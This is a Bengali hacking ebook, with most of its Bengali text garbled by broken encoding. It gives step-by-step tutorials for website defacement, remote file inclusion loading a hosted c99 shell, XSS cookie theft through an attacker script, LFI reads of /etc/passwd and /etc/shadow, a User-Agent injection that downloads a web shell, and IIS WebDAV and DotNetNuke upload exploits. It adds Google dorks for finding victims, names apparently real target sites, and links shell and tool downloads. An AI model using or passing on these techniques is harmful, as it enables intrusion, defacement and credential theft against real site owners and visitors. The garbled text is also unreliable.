কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 12: Hacking Bangla eBook

অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip

Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন

mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash

mdashmdashmdashmdashmdash

সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip

httpwwwtargetsitecomindexphppage=Anything

উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ

ldquoinurlindexphppage=rdquo

উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ

ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন

httpwwwtargetsitecomindexphppage=wwwgooglecom

এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip

httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom

তাচছর এটি সদখাচছফhellip

এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip

এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip

httph1ripwaycomtjunselectedc99shellphp

এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp

এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন

তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না

কতনফবাকতচতটিউনাযtrade

XSS কতক

XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web

Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয

ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600

xss-threat3jpg

XSS Vulnerability and Injection

যাপ ১ Vulnerable মেব িািআট োমজ মবর করা

অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks

ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=

তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন

যাপ ২ Vulnerability পরীো করা

এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন

না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password

Vulnerability যীকষা কযা জনয দটি িকতত অচছছ

পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয

http2bpblogspotcom-

8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg

পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here

যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন

এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-

পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন

সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=

এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable

যাপ ৩ Malicious Scripts মদো

Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ

এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ

httpattackerSitemaliciousjs

এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ

এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ

িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent

Persistent XSS

এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage

Non-Persistent XSS

এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily

একজি হযাকার এিআ Vulnerability সদমে সক কমর

কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা

চছযফ াআচছটয Bypassing restriction

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

